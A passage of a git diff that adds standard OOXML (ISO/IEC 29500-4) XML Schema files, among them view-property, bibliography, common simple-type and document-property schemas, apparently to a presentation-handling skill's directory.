default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_NotesTextViewProperties"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="cViewPr" type="CT_CommonViewProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_OutlineViewSlideEntry"> + <xsd:attribute ref="r:id" use="required"/> + <xsd:attribute name="collapse" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_OutlineViewSlideList"> + <xsd:sequence> + <xsd:element name="sld" type="CT_OutlineViewSlideEntry" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_OutlineViewProperties"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="cViewPr" type="CT_CommonViewProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="sldLst" type="CT_OutlineViewSlideList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SlideSorterViewProperties"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="cViewPr" type="CT_CommonViewProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="showFormatting" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_Guide"> + <xsd:attribute name="orient" type="ST_Direction" use="optional" default="vert"/> + <xsd:attribute name="pos" type="a:ST_Coordinate32" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_GuideList"> + <xsd:sequence minOccurs="0" maxOccurs="1"> + <xsd:element name="guide" type="CT_Guide" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CommonSlideViewProperties"> + <xsd:sequence> + <xsd:element name="cViewPr" type="CT_CommonViewProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="guideLst" type="CT_GuideList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="snapToGrid" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="snapToObjects" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showGuides" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_SlideViewProperties"> + <xsd:sequence> + <xsd:element name="cSldViewPr" type="CT_CommonSlideViewProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NotesViewProperties"> + <xsd:sequence> + <xsd:element name="cSldViewPr" type="CT_CommonSlideViewProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ViewProperties"> + <xsd:sequence minOccurs="0" maxOccurs="1"> + <xsd:element name="normalViewPr" type="CT_NormalViewProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="slideViewPr" type="CT_SlideViewProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="outlineViewPr" type="CT_OutlineViewProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="notesTextViewPr" type="CT_NotesTextViewProperties" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="sorterViewPr" type="CT_SlideSorterViewProperties" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="notesViewPr" type="CT_NotesViewProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="gridSpacing" type="a:CT_PositiveSize2D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="lastView" type="ST_ViewType" use="optional" default="sldView"/> + <xsd:attribute name="showComments" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:element name="viewPr" type="CT_ViewProperties"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd new file mode 100644 index 00000000..c20f3bf1 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd @@ -0,0 +1,28 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/officeDocument/2006/characteristics" + targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/characteristics" + elementFormDefault="qualified"> + <xsd:complexType name="CT_AdditionalCharacteristics"> + <xsd:sequence> + <xsd:element name="characteristic" type="CT_Characteristic" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Characteristic"> + <xsd:attribute name="name" type="xsd:string" use="required"/> + <xsd:attribute name="relation" type="ST_Relation" use="required"/> + <xsd:attribute name="val" type="xsd:string" use="required"/> + <xsd:attribute name="vocabulary" type="xsd:anyURI" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_Relation"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="ge"/> + <xsd:enumeration value="le"/> + <xsd:enumeration value="gt"/> + <xsd:enumeration value="lt"/> + <xsd:enumeration value="eq"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:element name="additionalCharacteristics" type="CT_AdditionalCharacteristics"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd new file mode 100644 index 00000000..ac602522 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd @@ -0,0 +1,144 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" + elementFormDefault="qualified"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:simpleType name="ST_SourceType"> + <xsd:restriction base="s:ST_String"> + <xsd:enumeration value="ArticleInAPeriodical"/> + <xsd:enumeration value="Book"/> + <xsd:enumeration value="BookSection"/> + <xsd:enumeration value="JournalArticle"/> + <xsd:enumeration value="ConferenceProceedings"/> + <xsd:enumeration value="Report"/> + <xsd:enumeration value="SoundRecording"/> + <xsd:enumeration value="Performance"/> + <xsd:enumeration value="Art"/> + <xsd:enumeration value="DocumentFromInternetSite"/> + <xsd:enumeration value="InternetSite"/> + <xsd:enumeration value="Film"/> + <xsd:enumeration value="Interview"/> + <xsd:enumeration value="Patent"/> + <xsd:enumeration value="ElectronicSource"/> + <xsd:enumeration value="Case"/> + <xsd:enumeration value="Misc"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_NameListType"> + <xsd:sequence> + <xsd:element name="Person" type="CT_PersonType" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PersonType"> + <xsd:sequence> + <xsd:element name="Last" type="s:ST_String" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="First" type="s:ST_String" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="Middle" type="s:ST_String" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NameType"> + <xsd:sequence> + <xsd:element name="NameList" type="CT_NameListType" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NameOrCorporateType"> + <xsd:sequence> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="NameList" type="CT_NameListType" minOccurs="1" maxOccurs="1"/> + <xsd:element name="Corporate" minOccurs="1" maxOccurs="1" type="s:ST_String"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_AuthorType"> + <xsd:sequence> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="Artist" type="CT_NameType"/> + <xsd:element name="Author" type="CT_NameOrCorporateType"/> + <xsd:element name="BookAuthor" type="CT_NameType"/> + <xsd:element name="Compiler" type="CT_NameType"/> + <xsd:element name="Composer" type="CT_NameType"/> + <xsd:element name="Conductor" type="CT_NameType"/> + <xsd:element name="Counsel" type="CT_NameType"/> + <xsd:element name="Director" type="CT_NameType"/> + <xsd:element name="Editor" type="CT_NameType"/> + <xsd:element name="Interviewee" type="CT_NameType"/> + <xsd:element name="Interviewer" type="CT_NameType"/> + <xsd:element name="Inventor" type="CT_NameType"/> + <xsd:element name="Performer" type="CT_NameOrCorporateType"/> + <xsd:element name="ProducerName" type="CT_NameType"/> + <xsd:element name="Translator" type="CT_NameType"/> + <xsd:element name="Writer" type="CT_NameType"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SourceType"> + <xsd:sequence> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="AbbreviatedCaseNumber" type="s:ST_String"/> + <xsd:element name="AlbumTitle" type="s:ST_String"/> + <xsd:element name="Author" type="CT_AuthorType"/> + <xsd:element name="BookTitle" type="s:ST_String"/> + <xsd:element name="Broadcaster" type="s:ST_String"/> + <xsd:element name="BroadcastTitle" type="s:ST_String"/> + <xsd:element name="CaseNumber" type="s:ST_String"/> + <xsd:element name="ChapterNumber" type="s:ST_String"/> + <xsd:element name="City" type="s:ST_String"/> + <xsd:element name="Comments" type="s:ST_String"/> + <xsd:element name="ConferenceName" type="s:ST_String"/> + <xsd:element name="CountryRegion" type="s:ST_String"/> + <xsd:element name="Court" type="s:ST_String"/> + <xsd:element name="Day" type="s:ST_String"/> + <xsd:element name="DayAccessed" type="s:ST_String"/> + <xsd:element name="Department" type="s:ST_String"/> + <xsd:element name="Distributor" type="s:ST_String"/> + <xsd:element name="Edition" type="s:ST_String"/> + <xsd:element name="Guid" type="s:ST_String"/> + <xsd:element name="Institution" type="s:ST_String"/> + <xsd:element name="InternetSiteTitle" type="s:ST_String"/> + <xsd:element name="Issue" type="s:ST_String"/> + <xsd:element name="JournalName" type="s:ST_String"/> + <xsd:element name="LCID" type="s:ST_Lang"/> + <xsd:element name="Medium" type="s:ST_String"/> + <xsd:element name="Month" type="s:ST_String"/> + <xsd:element name="MonthAccessed" type="s:ST_String"/> + <xsd:element name="NumberVolumes" type="s:ST_String"/> + <xsd:element name="Pages" type="s:ST_String"/> + <xsd:element name="PatentNumber" type="s:ST_String"/> + <xsd:element name="PeriodicalTitle" type="s:ST_String"/> + <xsd:element name="ProductionCompany" type="s:ST_String"/> + <xsd:element name="PublicationTitle" type="s:ST_String"/> + <xsd:element name="Publisher" type="s:ST_String"/> + <xsd:element name="RecordingNumber" type="s:ST_String"/> + <xsd:element name="RefOrder" type="s:ST_String"/> + <xsd:element name="Reporter" type="s:ST_String"/> + <xsd:element name="SourceType" type="ST_SourceType"/> + <xsd:element name="ShortTitle" type="s:ST_String"/> + <xsd:element name="StandardNumber" type="s:ST_String"/> + <xsd:element name="StateProvince" type="s:ST_String"/> + <xsd:element name="Station" type="s:ST_String"/> + <xsd:element name="Tag" type="s:ST_String"/> + <xsd:element name="Theater" type="s:ST_String"/> + <xsd:element name="ThesisType" type="s:ST_String"/> + <xsd:element name="Title" type="s:ST_String"/> + <xsd:element name="Type" type="s:ST_String"/> + <xsd:element name="URL" type="s:ST_String"/> + <xsd:element name="Version" type="s:ST_String"/> + <xsd:element name="Volume" type="s:ST_String"/> + <xsd:element name="Year" type="s:ST_String"/> + <xsd:element name="YearAccessed" type="s:ST_String"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="Sources" type="CT_Sources"/> + <xsd:complexType name="CT_Sources"> + <xsd:sequence> + <xsd:element name="Source" type="CT_SourceType" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="SelectedStyle" type="s:ST_String"/> + <xsd:attribute name="StyleName" type="s:ST_String"/> + <xsd:attribute name="URI" type="s:ST_String"/> + </xsd:complexType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd new file mode 100644 index 00000000..424b8ba8 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd @@ -0,0 +1,174 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + elementFormDefault="qualified"> + <xsd:simpleType name="ST_Lang"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_HexColorRGB"> + <xsd:restriction base="xsd:hexBinary"> + <xsd:length value="3" fixed="true"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Panose"> + <xsd:restriction base="xsd:hexBinary"> + <xsd:length value="10"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CalendarType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="gregorian"/> + <xsd:enumeration value="gregorianUs"/> + <xsd:enumeration value="gregorianMeFrench"/> + <xsd:enumeration value="gregorianArabic"/> + <xsd:enumeration value="hijri"/> + <xsd:enumeration value="hebrew"/> + <xsd:enumeration value="taiwan"/> + <xsd:enumeration value="japan"/> + <xsd:enumeration value="thai"/> + <xsd:enumeration value="korea"/> + <xsd:enumeration value="saka"/> + <xsd:enumeration value="gregorianXlitEnglish"/> + <xsd:enumeration value="gregorianXlitFrench"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AlgClass"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="hash"/> + <xsd:enumeration value="custom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CryptProv"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="rsaAES"/> + <xsd:enumeration value="rsaFull"/> + <xsd:enumeration value="custom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AlgType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="typeAny"/> + <xsd:enumeration value="custom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ColorType"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_Guid"> + <xsd:restriction base="xsd:token"> + <xsd:pattern value="\{[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}\}"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_OnOff"> + <xsd:union memberTypes="xsd:boolean ST_OnOff1"/> + </xsd:simpleType> + <xsd:simpleType name="ST_OnOff1"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="on"/> + <xsd:enumeration value="off"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_String"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_XmlName"> + <xsd:restriction base="xsd:NCName"> + <xsd:minLength value="1"/> + <xsd:maxLength value="255"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TrueFalse"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="t"/> + <xsd:enumeration value="f"/> + <xsd:enumeration value="true"/> + <xsd:enumeration value="false"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TrueFalseBlank"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="t"/> + <xsd:enumeration value="f"/> + <xsd:enumeration value="true"/> + <xsd:enumeration value="false"/> + <xsd:enumeration value=""/> + <xsd:enumeration value="True"/> + <xsd:enumeration value="False"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_UnsignedDecimalNumber"> + <xsd:restriction base="xsd:decimal"> + <xsd:minInclusive value="0"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TwipsMeasure"> + <xsd:union memberTypes="ST_UnsignedDecimalNumber ST_PositiveUniversalMeasure"/> + </xsd:simpleType> + <xsd:simpleType name="ST_VerticalAlignRun"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="baseline"/> + <xsd:enumeration value="superscript"/> + <xsd:enumeration value="subscript"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Xstring"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_XAlign"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="left"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="inside"/> + <xsd:enumeration value="outside"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_YAlign"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="inline"/> + <xsd:enumeration value="top"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="bottom"/> + <xsd:enumeration value="inside"/> + <xsd:enumeration value="outside"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ConformanceClass"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="strict"/> + <xsd:enumeration value="transitional"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_UniversalMeasure"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="-?[0-9]+(\.[0-9]+)?(mm|cm|in|pt|pc|pi)"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PositiveUniversalMeasure"> + <xsd:restriction base="ST_UniversalMeasure"> + <xsd:pattern value="[0-9]+(\.[0-9]+)?(mm|cm|in|pt|pc|pi)"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Percentage"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="-?[0-9]+(\.[0-9]+)?%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FixedPercentage"> + <xsd:restriction base="ST_Percentage"> + <xsd:pattern value="-?((100)|([0-9][0-9]?))(\.[0-9][0-9]?)?%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PositivePercentage"> + <xsd:restriction base="ST_Percentage"> + <xsd:pattern value="[0-9]+(\.[0-9]+)?%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PositiveFixedPercentage"> + <xsd:restriction base="ST_Percentage"> + <xsd:pattern value="((100)|([0-9][0-9]?))(\.[0-9][0-9]?)?%"/> + </xsd:restriction> + </xsd:simpleType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd new file mode 100644 index 00000000..2bddce29 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd @@ -0,0 +1,25 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/officeDocument/2006/customXml" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/customXml" + elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:complexType name="CT_DatastoreSchemaRef"> + <xsd:attribute name="uri" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_DatastoreSchemaRefs"> + <xsd:sequence> + <xsd:element name="schemaRef" type="CT_DatastoreSchemaRef" minOccurs="0" maxOccurs="unbounded" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DatastoreItem"> + <xsd:sequence> + <xsd:element name="schemaRefs" type="CT_DatastoreSchemaRefs" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="itemID" type="s:ST_Guid" use="required"/> + </xsd:complexType> + <xsd:element name="datastoreItem" type="CT_DatastoreItem"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd new file mode 100644 index 00000000..8a8c18ba --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd @@ -0,0 +1,18 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/schemaLibrary/2006/main" + targetNamespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main" + attributeFormDefault="qualified" elementFormDefault="qualified"> + <xsd:complexType name="CT_Schema"> + <xsd:attribute name="uri" type="xsd:string" default=""/> + <xsd:attribute name="manifestLocation" type="xsd:string"/> + <xsd:attribute name="schemaLocation" type="xsd:string"/> + <xsd:attribute name="schemaLanguage" type="xsd:token"/> + </xsd:complexType> + <xsd:complexType name="CT_SchemaLibrary"> + <xsd:sequence> + <xsd:element name="schema" type="CT_Schema" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="schemaLibrary" type="CT_SchemaLibrary"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd new file mode 100644 index 00000000..5c42706a --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd @@ -0,0 +1,59 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties" + xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties" + blockDefault="#all" elementFormDefault="qualified"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" + schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:element name="Properties" type="CT_Properties"/> + <xsd:complexType name="CT_Properties"> + <xsd:sequence> + <xsd:element name="property" minOccurs="0" maxOccurs="unbounded" type="CT_Property"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Property"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element ref="vt:vector"/> + <xsd:element ref="vt:array"/> + <xsd:element ref="vt:blob"/> + <xsd:element ref="vt:oblob"/> + <xsd:element ref="vt:empty"/> + <xsd:element ref="vt:null"/> + <xsd:element ref="vt:i1"/> + <xsd:element ref="vt:i2"/> + <xsd:element ref="vt:i4"/> + <xsd:element ref="vt:i8"/> + <xsd:element ref="vt:int"/> + <xsd:element ref="vt:ui1"/> + <xsd:element ref="vt:ui2"/> + <xsd:element ref="vt:ui4"/> + <xsd:element ref="vt:ui8"/> + <xsd:element ref="vt:uint"/> + <xsd:element ref="vt:r4"/> + <xsd:element ref="vt:r8"/> + <xsd:element ref="vt:decimal"/> + <xsd:element ref="vt:lpstr"/> + <xsd:element ref="vt:lpwstr"/> + <xsd:element ref="vt:bstr"/> + <xsd:element ref="vt:date"/> + <xsd:element ref="vt:filetime"/> + <xsd:element ref="vt:bool"/> + <xsd:element ref="vt:cy"/> + <xsd:element ref="vt:error"/> + <xsd:element ref="vt:stream"/> + <xsd:element ref="vt:ostream"/> + <xsd:element ref="vt:storage"/> + <xsd:element ref="vt:ostorage"/> + <xsd:element ref="vt:vstream"/> + <xsd:element ref="vt:clsid"/> + </xsd:choice> + <xsd:attribute name="fmtid" use="required" type="s:ST_Guid"/> + <xsd:attribute name="pid" use="required" type="xsd:int"/> + <xsd:attribute name="name" use="optional" type="xsd:string"/> + <xsd:attribute name="linkTarget" use="optional" type="xsd:string"/> + </xsd:complexType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd new file mode 100644 index 00000000..853c341c --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd @@ -0,0 +1,56 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" + xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" + targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" + elementFormDefault="qualified" blockDefault="#all"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" + schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> + <xsd:element name="Properties" type="CT_Properties"/> + <xsd:complexType name="CT_Properties"> + <xsd:all> + <xsd:element name="Template" minOccurs="0" maxOccurs="1" type="xsd:string"/> + <xsd:element name="Manager" minOccurs="0" maxOccurs="1" type="xsd:string"/> + <xsd:element name="Company" minOccurs="0" maxOccurs="1" type="xsd:string"/> + <xsd:element name="Pages" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="Words" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="Characters" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="PresentationFormat" minOccurs="0" maxOccurs="1" type="xsd:string"/> + <xsd:element name="Lines" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="Paragraphs" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="Slides" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="Notes" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="TotalTime" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="HiddenSlides" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="MMClips" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="ScaleCrop" minOccurs="0" maxOccurs="1" type="xsd:boolean"/> + <xsd:element name="HeadingPairs" minOccurs="0" maxOccurs="1" type="CT_VectorVariant"/> + <xsd:element name="TitlesOfParts" minOccurs="0" maxOccurs="1" type="CT_VectorLpstr"/> + <xsd:element name="LinksUpToDate" minOccurs="0" maxOccurs="1" type="xsd:boolean"/> + <xsd:element name="CharactersWithSpaces" minOccurs="0" maxOccurs="1" type="xsd:int"/> + <xsd:element name="SharedDoc" minOccurs="0" maxOccurs="1" type="xsd:boolean"/> + <xsd:element name="HyperlinkBase" minOccurs="0" maxOccurs="1" type="xsd:string"/> + <xsd:element name="HLinks" minOccurs="0" maxOccurs="1" type="CT_VectorVariant"/> + <xsd:element name="HyperlinksChanged" minOccurs="0" maxOccurs="1" type="xsd:boolean"/> + <xsd:element name="DigSig" minOccurs="0" maxOccurs="1" type="CT_DigSigBlob"/> + <xsd:element name="Application" minOccurs="0" maxOccurs="1" type="xsd:string"/> + <xsd:element name="AppVersion" minOccurs="0" maxOccurs="1" type="xsd:string"/> + <xsd:element name="DocSecurity" minOccurs="0" maxOccurs="1" type="xsd:int"/> + </xsd:all> + </xsd:complexType> + <xsd:complexType name="CT_VectorVariant"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element ref="vt:vector"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_VectorLpstr"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element ref="vt:vector"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DigSigBlob"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element ref="vt:blob"/> + </xsd:sequence> + </xsd:complexType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd new file mode 100644 index 00000000..da835ee8 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd @@ -0,0 +1,195 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema 